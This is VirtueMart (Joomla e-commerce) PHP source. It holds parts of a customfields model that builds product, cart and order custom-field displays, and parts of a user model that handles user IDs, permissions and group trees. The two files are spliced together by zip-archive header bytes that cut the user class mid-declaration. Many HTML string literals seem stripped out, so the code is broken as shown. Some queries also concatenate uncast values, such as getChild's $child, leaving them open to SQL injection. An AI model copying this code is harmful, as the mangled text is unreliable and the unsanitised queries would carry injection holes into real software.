} else { $vendorId = $product->virtuemart_vendor_id; } $q = 'SELECT `virtuemart_media_id` as value,`file_title` as text FROM `#__virtuemart_medias` WHERE `published`=1 AND (`virtuemart_vendor_id`= "' . $vendorId . '" OR `shared` = "1")'; $this->_db->setQuery ($q); $options = $this->_db->loadObjectList (); return JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', '', 'value', 'text', $field->custom_value) . '' . $priceInput; break; /* Child product */ /* case 'C': if (empty($product)){ $virtuemart_product_id = JRequest::getInt('virtuemart_product_id', 0); } else { $virtuemart_product_id = $product->virtuemart_product_id; } $html = ''; $q='SELECT concat(`product_sku`,":",`product_name`) as text ,`virtuemart_product_id`,`product_in_stock` FROM `#__virtuemart_products` WHERE `published`=1 AND `virtuemart_product_id`= "'.$field->custom_value.'"'; //$db->setQuery(' SELECT virtuemart_product_id, product_name FROM `#__virtuemart_products` WHERE `product_parent_id` ='.(int)$product_id); $this->_db->setQuery($q); if ($child = $this->_db->loadObject()) { $html .= JHTML::link ( JRoute::_ ( 'index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$field->custom_value), $child->text.' ('.$field->custom_value.')', array ('title' => $child->text )); $html .= ' '.vmText::_('COM_VIRTUEMART_PRODUCT_FORM_IN_STOCK').':'.$child->product_in_stock ; $html .= '
      '.$priceInput; return $html; // return ''; } else return vmText::_('COM_VIRTUEMART_CUSTOM_NO_CHILD_PRODUCT'); break;*/ } } } public function getProductCustomsField ($product) { $query = 'SELECT C.`virtuemart_custom_id` , `custom_element`, `custom_params`, `custom_parent_id` , `admin_only` , `custom_title` , `show_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_hidden`, `layout_pos`, C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`, field.`custom_param`, field.`custom_price`, field.`ordering` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id . ' and `field_type` != "G" and `field_type` != "R" and `field_type` != "Z"'; $query .= ' and is_cart_attribute = 0 order by field.`ordering`,virtuemart_custom_id'; $this->_db->setQuery ($query); if ($productCustoms = $this->_db->loadObjectList ()) { $row = 0; if (!class_exists ('vmCustomPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); } foreach ($productCustoms as $field) { if ($field->field_type == "E") { $field->display = ''; JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $ret = $dispatcher->trigger ('plgVmOnDisplayProductFE', array($product, &$row, &$field)); } else { $field->display = $this->displayProductCustomfieldFE ($product, $field, $row); } $row++; } return $productCustoms; } else { return array(); } } public function getProductCustomsFieldRelatedCategories ($product) { $query = 'SELECT C.`virtuemart_custom_id` , `custom_parent_id` , `admin_only` , `custom_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_hidden` , C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`, field.`custom_param`, field.`custom_price`, field.`ordering` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id . ' and `field_type` = "Z"'; $query .= ' and is_cart_attribute = 0 order by ordering'; $this->_db->setQuery ($query); if ($productCustoms = $this->_db->loadObjectList ()) { $row = 0; foreach ($productCustoms as & $field) { $field->display = $this->displayProductCustomfieldFE ($product, $field, $row); $row++; } return $productCustoms; } else { return array(); } } public function getProductCustomsFieldRelatedProducts ($product) { $query = 'SELECT C.`virtuemart_custom_id` , `custom_parent_id` , `admin_only` , `custom_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_hidden` , C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`, field.`custom_param`, field.`custom_price`, field.`ordering` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id . ' and `field_type` = "R"'; $query .= ' and is_cart_attribute = 0 order by ordering'; $this->_db->setQuery ($query); if ($productCustoms = $this->_db->loadObjectList ()) { $row = 0; foreach ($productCustoms as & $field) { $field->display = $this->displayProductCustomfieldFE ($product, $field, $row); $row++; } return $productCustoms; } else { return array(); } } /** * Display for the cart * * @author Patrick Kohl * @param obj $product product object * @return html code */ public function getProductCustomsFieldCart ($product) { // group by virtuemart_custom_id $query = 'SELECT C.`virtuemart_custom_id`, `custom_title`, `show_title`, C.`custom_value`,`custom_field_desc` ,`custom_tip`,`field_type`,field.`virtuemart_customfield_id`,`is_hidden` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id . ' and `field_type` != "G" and `field_type` != "R" and `field_type` != "Z"'; $query .= ' and is_cart_attribute = 1 group by virtuemart_custom_id ORDER BY field.`ordering`'; $this->_db->setQuery ($query); $groups = $this->_db->loadObjectList (); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmWarn('getProductCustomsFieldCart '.$err); } else { if(empty($groups)) return array(); } if (!class_exists ('VmHTML')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } $row = 0; if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $currency = CurrencyDisplay::getInstance (); if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); $calculator ->_product = $product; $calculator->_cats = $product->categories; $calculator->product_tax_id = isset($product->product_tax_id)? $product->product_tax_id:0; $calculator->product_discount_id = isset($product->product_discount_id)? $product->product_discount_id:0; $calculator->productCurrency = isset($product->product_currency)? $product->product_currency:$calculator->productCurrency; if (!class_exists ('vmCustomPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); } //$free = vmText::_ ('COM_VIRTUEMART_CART_PRICE_FREE'); // render select list foreach ($groups as $group) { // $query='SELECT field.`virtuemart_customfield_id` as value ,concat(field.`custom_value`," :bu ", field.`custom_price`) AS text $query = 'SELECT field.`virtuemart_product_id`, `custom_params`,`custom_element`, field.`virtuemart_custom_id`, field.`virtuemart_customfield_id`,field.`custom_value`, field.`custom_price`, field.`custom_param` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id; $query .= ' and is_cart_attribute = 1 and C.`virtuemart_custom_id`=' . (int)$group->virtuemart_custom_id; // We want the field to be ordered as the user defined $query .= ' ORDER BY field.`ordering`'; $this->_db->setQuery ($query); $options = $this->_db->loadObjectList (); //vmdebug('getProductCustomsFieldCart options',$options); $group->options = array(); foreach ($options as $option) { $group->options[$option->virtuemart_customfield_id] = $option; } if ($group->field_type == 'V') { $default = current ($group->options); foreach ($group->options as $productCustom) { $price = self::_getCustomPrice($productCustom->custom_price, $currency, $calculator); $productCustom->text = vmText::_($productCustom->custom_value) . ' ' . $price; } $group->display = VmHTML::select ('customPrice[' . $row . '][' . $group->virtuemart_custom_id . ']', $group->options, $default->custom_value, '', 'virtuemart_customfield_id', 'text', FALSE, false); } else { if ($group->field_type == 'G') { $group->display .= ''; // no direct display done by plugin; } else { if ($group->field_type == 'E') { $group->display = ''; foreach ($group->options as $k=> $productCustom) { $price = self::_getCustomPrice($productCustom->custom_price, $currency, $calculator); $productCustom->text = $productCustom->custom_value . ' ' . $price; $productCustom->virtuemart_customfield_id = $k; if (!class_exists ('vmCustomPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); } //legacy, it will be removed 2.2 $productCustom->value = $productCustom->virtuemart_customfield_id; JPluginHelper::importPlugin ('vmcustom'); JPluginHelper::importPlugin ('vmcalculation'); $dispatcher = JDispatcher::getInstance (); $fieldsToShow = $dispatcher->trigger ('plgVmOnDisplayProductVariantFE', array($productCustom, &$row, &$group)); // $group->display .= ' '; $group->display .= ' '; if (!empty($currency->_priceConfig['variantModification'][0]) and $price !== '') { $group->display .= '
      ' . vmText::_ ('COM_VIRTUEMART_CART_PRICE') . '' . $price . '
      '; } $row++; } $row--; } else { if ($group->field_type == 'U') { foreach ($group->options as $productCustom) { $price = self::_getCustomPrice($productCustom->custom_price, $currency, $calculator); $productCustom->text = $productCustom->custom_value . ' ' . $price; $group->display .= ' '; if (!empty($currency->_priceConfig['variantModification'][0]) and $price !== '') { $group->display .= '
      ' . vmText::_ ('COM_VIRTUEMART_CART_PRICE') . '' . $price . '
      '; } } } else { if ($group->field_type == 'A') { $group->display = ''; foreach ($group->options as $productCustom) { /* if ((float)$productCustom->custom_price) { $price = $currency->priceDisplay ($calculator->calculateCustomPriceWithTax ($productCustom->custom_price)); } else { $price = ($productCustom->custom_price === '') ? '' : $free; }*/ $productCustom->field_type = $group->field_type; $productCustom->is_cart = 1; $group->display .= $this->displayProductCustomfieldFE ($product, $productCustom, $row); $checked = ''; } } else { $group->display = ''; $checked = 'checked="checked"'; foreach ($group->options as $productCustom) { //vmdebug('getProductCustomsFieldCart',$productCustom); $price = self::_getCustomPrice($productCustom->custom_price, $currency, $calculator); $productCustom->field_type = $group->field_type; $productCustom->is_cart = 1; // $group->display .= ''; //MarkerVarMods $group->display .= ''; $checked = ''; } } } } } } $row++; } return $groups; } static function _getCustomPrice($customPrice, $currency, $calculator) { if ((float)$customPrice) { $price = strip_tags ($currency->priceDisplay ($calculator->calculateCustomPriceWithTax ($customPrice))); if ($customPrice >0) { $price ="+".$price; } } else { $price = ($customPrice === '') ? '' : vmText::_ ('COM_VIRTUEMART_CART_PRICE_FREE'); } return $price; } /** * Formating front display by roles * for product only ! */ public function displayProductCustomfieldFE (&$product, $customfield, $row = '') { $virtuemart_custom_id = isset($customfield->virtuemart_custom_id)? $customfield->virtuemart_custom_id:0; $value = $customfield->custom_value; $type = $customfield->field_type; $is_list = isset($customfield->is_list)? $customfield->is_list:0; $price = isset($customfield->custom_price)? $customfield->custom_price:0; $is_cart = isset($customfield->is_cart)? $customfield->is_cart:0; //vmdebug('displayProductCustomfieldFE and here is something wrong ',$customfield); if (!class_exists ('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); $currency = CurrencyDisplay::getInstance (); if ($is_list > 0) { $values = explode (';', $value); if ($is_cart != 0) { $options = array(); foreach ($values as $key => $val) { $options[] = array('value' => $val, 'text' => $val); } vmJsApi::chosenDropDowns(); return JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', NULL, 'value', 'text', FALSE, TRUE); } else { $html = ''; $html .= '
      ' . $value . '
      '; return $html; } } else { if ($price > 0) { $price = $currency->priceDisplay ((float)$price); } switch ($type) { case 'A': $options = array(); $session = JFactory::getSession (); $virtuemart_category_id = $session->get ('vmlastvisitedcategoryid', 0, 'vm'); $productModel = VmModel::getModel ('product'); //Note by Jeremy Magne (Daycounts) 2013-08-31 //Previously the the product model is loaded but we need to ensure the correct product id is set because the getUncategorizedChildren does not get the product id as parameter. //In case the product model was previously loaded, by a related product for example, this would generate wrong uncategorized children list $productModel->setId($product->virtuemart_product_id); //parseCustomParams VirtueMartModelCustomfields::bindParameterableByFieldType($customfield); //Todo preselection as dropdown of children //Note by Max Milbers: This is not necessary, in this case it is better to unpublish the parent and to give the child which should be preselected a category //Or it is withParent, in that case there exists the case, that a parent should be used as a kind of mini category and not be orderable. //There exists already other customs and in special plugins which wanna disable or change the add to cart button. //I suggest that we manipulate the button with a message "choose a variant first" //if(!isset($customfield->pre_selected)) $customfield->pre_selected = 0; $selected = JRequest::getVar ('virtuemart_product_id',0); if(is_array($selected) ) { $selected = $selected[0]; } $selected = (int) $selected; $html = ''; $uncatChildren = $productModel->getUncategorizedChildren ($customfield->withParent); if(empty($uncatChildren)){ return $html; break; } foreach ($uncatChildren as $child) { $options[] = array('value' => JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_category_id=' . $virtuemart_category_id . '&virtuemart_product_id=' . $child['virtuemart_product_id'],FALSE), 'text' => $child['product_name']); } //vmJsApi::chosenDropDowns(); would need class="inputbox vm-chzn-select", but it does not work, in case people have two times the same product, //because both dropdowns have then the same id and the js does not work. $html .= JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', 'onchange="window.top.location.href=this.options[this.selectedIndex].value" size="1" class="inputbox"', "value", "text", JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_category_id=' . $virtuemart_category_id . '&virtuemart_product_id=' . $selected,FALSE)); //vmdebug('$customfield',$customfield); if($customfield->parentOrderable==0 and $product->product_parent_id==0){ $product->orderable = FALSE; } return $html; break; /* variants*/ case 'V': if ($price == 0) $price = vmText::_ ('COM_VIRTUEMART_CART_PRICE_FREE'); /* Loads the product price details */ return ' ' . vmText::_ ('COM_VIRTUEMART_CART_PRICE') . $price . ' '; break; /*Date variant*/ case 'D': return '' . vmJsApi::date ($value, 'LC1', TRUE) . ''; //vmJsApi::jDate($field->custom_value, 'field['.$row.'][custom_value]','field_'.$row.'_customvalue').$priceInput; break; /* text area or editor No vmText, only displayed in BE */ case 'X': case 'Y': return $value; break; /* string or integer */ case 'S': case 'I': return vmText::_ ($value); break; /* bool */ case 'B': if ($value == 0) return vmText::_ ('COM_VIRTUEMART_NO'); return vmText::_ ('COM_VIRTUEMART_YES'); break; /* parent */ case 'P': return '' . vmText::_ ($value) . ''; break; /* related */ case 'R': $pModel = VmModel::getModel('product'); $related = $pModel->getProduct((int)$value,TRUE,TRUE,TRUE,1,FALSE); if(!$related){ vmError('related product is missing, maybe unpublished '.$product->product_name.' id: '.$product->virtuemart_product_id); return false; } $thumb =''; if (!empty($related->virtuemart_media_id[0])) { $thumb = $this->displayCustomMedia ($related->virtuemart_media_id[0]).' '; } else { $thumb = $this->displayCustomMedia (0).' '; } return JHTML::link (JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $related->virtuemart_product_id . '&virtuemart_category_id=' . $related->virtuemart_category_id,FALSE), $thumb . $related->product_name, array('title' => $related->product_name)); break; /* image */ case 'M': return $this->displayCustomMedia ($value); break; /* categorie */ case 'Z': $q = 'SELECT * FROM `#__virtuemart_categories_' . VMLANG . '` as l JOIN `#__virtuemart_categories` AS c using (`virtuemart_category_id`) WHERE `published`=1 AND l.`virtuemart_category_id`= "' . (int)$value . '" '; $this->_db->setQuery ($q); if ($category = $this->_db->loadObject ()) { $q = 'SELECT `virtuemart_media_id` FROM `#__virtuemart_category_medias`WHERE `virtuemart_category_id`= "' . $category->virtuemart_category_id . '" '; $this->_db->setQuery ($q); $thumb = ''; if ($media_id = $this->_db->loadResult ()) { $thumb = $this->displayCustomMedia ($media_id,'category'); } return JHTML::link (JRoute::_ ('index.php?option=com_virtuemart&view=category&virtuemart_category_id=' . $category->virtuemart_category_id, FALSE), $thumb . ' ' . $category->category_name, array('title' => $category->category_name)); } else return ''; /* Child Group list * this have no direct display , used for stockable product */ case 'G': return ''; //' '.vmText::_('COM_VIRTUEMART_CART_PRICE').' : '.$price .' '; break; break; } } } function displayCustomMedia ($media_id, $table = 'product', $absUrl = FALSE) { if (!class_exists ('TableMedias')) require(JPATH_VM_ADMINISTRATOR . DS . 'tables' . DS . 'medias.php'); //$data = $this->getTable('medias'); $db = JFactory::getDBO (); $data = new TableMedias($db); $data->load ((int)$media_id); if (!class_exists ('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'mediahandler.php'); $media = VmMediaHandler::createMedia ($data, $table); //if($media_id==0){ // return $media->getIcon('', FALSE, TRUE, TRUE,$absUrl); //} return $media->displayMediaThumb ('', FALSE, '', TRUE, TRUE, $absUrl); } /** * There are too many functions doing almost the same for my taste * the results are sometimes slighty different and makes it hard to work with it, therefore here the function for future proxy use * */ public static function customFieldDisplay ($product, $variantmods, $html, $trigger) { //vmdebug('customFieldDisplay $variantmods',$variantmods); $row = 0; if (!class_exists ('shopFunctionsF')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); //MarkerVarMods foreach ($variantmods as $selected => $variant) { //foreach ($variantmods as $variant=> $selected) { //vmdebug('customFieldDisplay '.$variant.' '.$selected); if ($selected) { $productCustom = self::getProductCustomField ($selected); //vmdebug('customFieldDisplay',$selected,$productCustom); if (!empty($productCustom)) { $html .= ''; if ($productCustom->field_type == "E") { $product = self::addParam ($product); $product->productCustom = $productCustom; //vmdebug('CustomsFieldCartDisplay $productCustom',$productCustom); // vmdebug('customFieldDisplay $product->param selected '.$selected,$product->param); if (!class_exists ('vmCustomPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $dispatcher->trigger ($trigger, array($product, $row, &$html)); } else { //vmdebug('customFieldDisplay $productCustom by self::getProductCustomField $variant: '.$variant.' $selected: '.$selected,$productCustom); $value = ''; if (($productCustom->field_type == "G")) { $child = self::getChild ($productCustom->custom_value); // $html .= $productCustom->custom_title.' '.$child->product_name; $value = $child->product_name; } elseif (($productCustom->field_type == "M")) { // $html .= $productCustom->custom_title.' '.self::displayCustomMedia($productCustom->custom_value); $value = self::displayCustomMedia ($productCustom->custom_value); } elseif (($productCustom->field_type == "S")) { // q $html .= $productCustom->custom_title.' '.vmText::_($productCustom->custom_value); $value = $productCustom->custom_value; } else { // $html .= $productCustom->custom_title.' '.$productCustom->custom_value; //vmdebug('customFieldDisplay',$productCustom); $value = $productCustom->custom_value; } $html .= ShopFunctionsF::translateTwoLangKeys ($productCustom->show_title ? $productCustom->custom_title : '', $value); } $html .= '
      '; } else { // falldown method if customfield are deleted foreach ((array)$selected as $key => $value) { $html .= '
      Couldnt find customfield' . ($key ? '' . $key . ' ' : '') . $value; } } } $row++; } // vmdebug ('customFieldDisplay html begin: ' . $html . ' end'); return $html . '
      '; } /** * TODO This is html and view stuff and MUST NOT be in the model, notice by Max * render custom fields display cart module FE */ public static function CustomsFieldCartModDisplay ($priceKey, $product) { if (empty($calculator)) { if (!class_exists ('calculationHelper')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); $calculator = calculationHelper::getInstance (); } $variantmods = $calculator->parseModifier ($priceKey); return self::customFieldDisplay ($product, $variantmods, '
      ', 'plgVmOnViewCartModule'); } /** * TODO This is html and view stuff and MUST NOT be in the model, notice by Max * render custom fields display cart FE */ public static function CustomsFieldCartDisplay ($priceKey, $product) { if (empty($calculator)) { if (!class_exists ('calculationHelper')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); $calculator = calculationHelper::getInstance (); } $variantmods = $calculator->parseModifier ($priceKey); return self::customFieldDisplay ($product, $variantmods, '
      ', 'plgVmOnViewCart'); } /* * render custom fields display order BE/FE */ public function CustomsFieldOrderDisplay ($item, $view = 'FE', $absUrl = FALSE) { $row = 0; // $item=(array)$item; if (!empty($item->product_attribute)) { $item->param = json_decode ($item->product_attribute, TRUE); // $html = '
      '; if (!empty($item->param)) { return self::customFieldDisplay ($item, $item->param, '
      ', 'plgVmDisplayInOrder' . $view); } else { vmdebug ('CustomsFieldOrderDisplay $item->param empty? '); } } else { // vmTrace('$item->product_attribut is empty'); } return FALSE; } /** * * custom fields for cart and cart module */ public static function getProductCustomField ($selected) { $db = JFactory::getDBO (); $query = 'SELECT C.`virtuemart_custom_id` , `custom_element` , `custom_parent_id` , `admin_only` , `custom_title` , `show_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_cart_attribute` , `is_hidden` , C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`,field.`custom_param`,field.`custom_price` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` WHERE `virtuemart_customfield_id` ="' . (int)$selected . '"'; // if($product_parent_id!=0){ // $query .= ' AND (`virtuemart_product_id` ="' . $product_id.'" XOR `virtuemart_product_id` ="' . $product_parent_id.'")'; // } else { // $query .= ' AND (`virtuemart_product_id` ="' . $product_id.'"'; // } $db->setQuery ($query); return $db->loadObject (); } /* * add parameter to product definition */ public function addParam ($product) { // vmdebug('addParam? ',$product->custom_param,$product->customPlugin); $custom_param = empty($product->custom_param) ? array() : json_decode ($product->custom_param, TRUE); $product_param = empty($product->customPlugin) ? array() : json_decode ($product->customPlugin, TRUE); $params = (array)$product_param + (array)$custom_param; foreach ($params as $key => $param) { $product->param[$key] = $param; } return $product; } public function getChild ($child) { $db = JFactory::getDBO (); $db->setQuery ('SELECT `product_sku`, `product_name` FROM `#__virtuemart_products_' . VMLANG . '` WHERE virtuemart_product_id=' . $child); return $db->loadObject (); } static public function setEditCustomHidden ($customfield, $i) { if (!isset($customfield->virtuemart_customfield_id)) $customfield->virtuemart_customfield_id = '0'; $html = ' '; return $html; } } // pure php no closing tag PKs>\%ٵcom_virtuemart/models/user.phpnuW+AsetMainTable('vmusers'); $this->setToggleName('user_is_vendor'); $this->addvalidOrderingFieldName(array('ju.username','ju.name','sg.virtuemart_shoppergroup_id','shopper_group_name','shopper_group_desc') ); array_unshift($this->_validOrderingFieldName,'ju.id'); // $user = JFactory::getUser(); // $this->_id = $user->id; } /** * public function Resets the user id and data * * * @author Max Milbers */ public function setId($cid){ $user = JFactory::getUser(); //anonymous sets to 0 for a new entry if(empty($user->id)){ $userId = 0; //echo($this->_id,'Recognized anonymous case'); } else { //not anonymous, but no cid means already registered user edit own data if(empty($cid)){ $userId = $user->id; // vmdebug('setId setCurrent $user',$user->get('id')); } else { if($cid != $user->id){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check("admin")) { $userId = $cid; // vmdebug('Admin watches user, setId '.$cid); } else { JError::raiseWarning(1,'Hacking attempt'); $userId = $user->id; } }else { $userId = $user->id; } } } $this->setUserId($userId); return $userId; } /** * Internal function * * @param unknown_type $id */ private function setUserId($id){ $app = JFactory::getApplication(); // if($app->isAdmin()){ if($this->_id!=$id){ $this->_id = (int)$id; $this->_data = null; $this->customer_number = 0; } // } } public function getCurrentUser(){ $user = JFactory::getUser(); $this->setUserId($user->id); return $this->getUser(); } private $_defaultShopperGroup = 0; /** * Sets the internal user id with given vendor Id * * @author Max Milbers * @param int $vendorId */ function getVendor($vendorId=1,$return=TRUE){ $vendorModel = VmModel::getModel('vendor'); $userId = VirtueMartModelVendor::getUserIdByVendorId($vendorId); if($userId){ $this->setUserId($userId); if($return){ return $this->getUser(); } } else { return false; } } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * @author Max Milbers */ function getUser(){ if(!empty($this->_data)) return $this->_data; if(empty($this->_db)) $this->_db = JFactory::getDBO(); $this->_data = $this->getTable('vmusers'); $this->_data->load((int)$this->_id); // vmdebug('$this->_data->vmusers',$this->_data); $this->_data->JUser = JUser::getInstance($this->_id); // vmdebug('$this->_data->JUser',$this->_data->JUser); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $this->_data->perms = Permissions::getInstance()->getPermissions((int)$this->_id); // Add the virtuemart_shoppergroup_ids $xrefTable = $this->getTable('vmuser_shoppergroups'); $this->_data->shopper_groups = $xrefTable->load($this->_id); $shoppergroupmodel = VmModel::getModel('ShopperGroup'); $site = JFactory::getApplication ()->isSite (); if($site){ if(empty($this->_data->shopper_groups)) $this->_data->shopper_groups = array(); $shoppergroupmodel->appendShopperGroups($this->_data->shopper_groups,$this->_data->JUser,$site); } if(!empty($this->_id)) { $q = 'SELECT `virtuemart_userinfo_id` FROM `#__virtuemart_userinfos` WHERE `virtuemart_user_id` = "' . (int)$this->_id.'"'; $this->_db->setQuery($q); $userInfo_ids = $this->_db->loadResultArray(0); } else { $userInfo_ids = array(); } // vmdebug('my query',$this->_db->getQuery()); //vmdebug('my $_ui',$userInfo_ids,$this->_id); $this->_data->userInfo = array (); $BTuid = 0; foreach($userInfo_ids as $uid){ $this->_data->userInfo[$uid] = $this->getTable('userinfos'); $this->_data->userInfo[$uid]->load($uid); if ($this->_data->userInfo[$uid]->address_type == 'BT') { $BTuid = $uid; $this->_data->userInfo[$BTuid]->name = $this->_data->JUser->name; $this->_data->userInfo[$BTuid]->email = $this->_data->JUser->email; $this->_data->userInfo[$BTuid]->username = $this->_data->JUser->username; $this->_data->userInfo[$BTuid]->address_type = 'BT'; // vmdebug('$this->_data->vmusers',$this->_data); } } // vmdebug('user_is_vendor ?',$this->_data->user_is_vendor); if($this->_data->user_is_vendor){ $vendorModel = VmModel::getModel('vendor'); if(Vmconfig::get('multix','none')=='none'){ $this->_data->virtuemart_vendor_id = 1; //vmdebug('user model, single vendor',$this->_data->virtuemart_vendor_id); } $vendorModel->setId($this->_data->virtuemart_vendor_id); $this->_data->vendor = $vendorModel->getVendor(); } return $this->_data; } /** * Retrieve contact info for a user if any * * @return array of null */ function getContactDetails() { if ($this->_id) { $this->_db->setQuery('SELECT * FROM #__contact_details WHERE user_id = ' . $this->_id); $_contacts = $this->_db->loadObjectList(); if (count($_contacts) > 0) { return $_contacts[0]; } } return null; } /** * Functions belonging to get_groups_below_me Taken with correspondence from CommunityBuilder * adjusted to the our needs * @version $Id: user.php 6543 2012-10-16 06:41:27Z Milbo $ * @package Community Builder * @subpackage cb.acl.php * @author Beat and mambojoe * @author Max Milbers * @copyright (C) Beat, www.joomlapolis.com * @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html GNU/GPL version 2 */ function get_object_id( $var_1 = null, $var_2 = null, $var_3 = null ) { if ( JVM_VERSION === 2) { $return = $var_2; } else { $return = $this->_acl->get_object_id( $var_1, $var_2, $var_3 ); } return $return; } /** * Taken with correspondence from CommunityBuilder * adjusted to the our needs * @version $Id: user.php 6543 2012-10-16 06:41:27Z Milbo $ * @package Community Builder * @subpackage cb.acl.php * @author Beat and mambojoe * @author Max Milbers * @copyright (C) Beat, www.joomlapolis.com * @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html GNU/GPL version 2 */ function get_object_groups( $var_1 = null, $var_2 = null, $var_3 = null ) { if ( version_compare(JVERSION,'1.6.0','ge') ) { $user_id = ( is_integer( $var_1 ) ? $var_1 : $var_2 ); $recurse = ( $var_3 == 'RECURSE' ? true : false ); $return = $this->_acl->getGroupsByUser( $user_id, $recurse ); } else { if ( ! $var_2 ) { $var_2 = 'ARO'; } if ( ! $var_3 ) { $var_3 = 'NO_RECURSE'; } $return = $this->_acl->get_object_groups( $var_1, $var_2, $var_3 ); } return $return; } /** * Remap literal groups (such as in default values) to the hardcoded CMS values * * @param string|array $name of int|string * @return int|array of int */ function mapGroupNamesToValues( $name ) { static $ps = null; $selected = (array) $name; foreach ( $selected as $k => $v ) { if ( ! is_numeric( $v ) ) { if ( ! $ps ) { if ( JVM_VERSION === 2 ) { $ps = array( 'Root' => 0 , 'Users' => 0 , 'Public' => 1, 'Registered' => 2, 'Author' => 3, 'Editor' => 4, 'Publisher' => 5, 'Backend' => 0 , 'Manager' => 6, 'Administrator' => 7, 'Superadministrator' => 8 ); } else { $ps = array( 'Root' => 17, 'Users' => 28, 'Public' => 29, 'Registered' => 18, 'Author' => 19, 'Editor' => 20, 'Publisher' => 21, 'Backend' => 30, 'Manager' => 23, 'Administrator' => 24, 'Superadministrator' => 25 ); } } if ( array_key_exists( $v, $ps ) ) { if ( $ps[$v] != 0 ) { $selected[$k] = $ps[$v]; } else { unset( $selected[$k] ); } } else { $selected[$k] = (int) $v; } } } if ( ! is_array( $name ) ) { $selected = $selected[0]; } return $selected; } function get_group_children_tree( $var_1 = null, $var_2 = null, $var_3 = null, $var_4 = null ) { $_CB_database = &$this->getDbo(); if ( ! $var_4 ) { $var_4 = true; } if ( JVM_VERSION === 2 ) { $query = 'SELECT a.' . $_CB_database->NameQuote( 'id' ) . ' AS value' . ', a.' . $_CB_database->NameQuote( 'title' ) . ' AS text' . ', COUNT( DISTINCT b.' . $_CB_database->NameQuote( 'id' ) . ' ) AS level' . "\n FROM " . $_CB_database->NameQuote( '#__usergroups' ) . " AS a" . "\n LEFT JOIN " . $_CB_database->NameQuote( '#__usergroups' ) . " AS b" . ' ON a.' . $_CB_database->NameQuote( 'lft' ) . ' > b.' . $_CB_database->NameQuote( 'lft' ) . ' AND a.' . $_CB_database->NameQuote( 'rgt' ) . ' < b.' . $_CB_database->NameQuote( 'rgt' ) . "\n GROUP BY a." . $_CB_database->NameQuote( 'id' ) . "\n ORDER BY a." . $_CB_database->NameQuote( 'lft' ) . " ASC"; $_CB_database->setQuery( $query ); $groups = $_CB_database->loadObjectList(); $user_groups = array(); for ( $i = 0, $n = count( $groups ); $i < $n; $i++ ) { $groups[$i]->text = str_repeat( '- ', $groups[$i]->level ) . JText::_( $groups[$i]->text ); if ( $var_4 ) { $user_groups[$i] = JHtml::_( 'select.option', $groups[$i]->value, $groups[$i]->text ); } else { $user_groups[$i] = array( 'value' => $groups[$i]->value, 'text' => $groups[$i]->text ); } } $return = $user_groups; } else { if ( ! $var_3 ) { $var_3 = true; } $return = $this->_acl->get_group_children_tree( $var_1, $var_2, $var_3, $var_4 ); } return $return; } 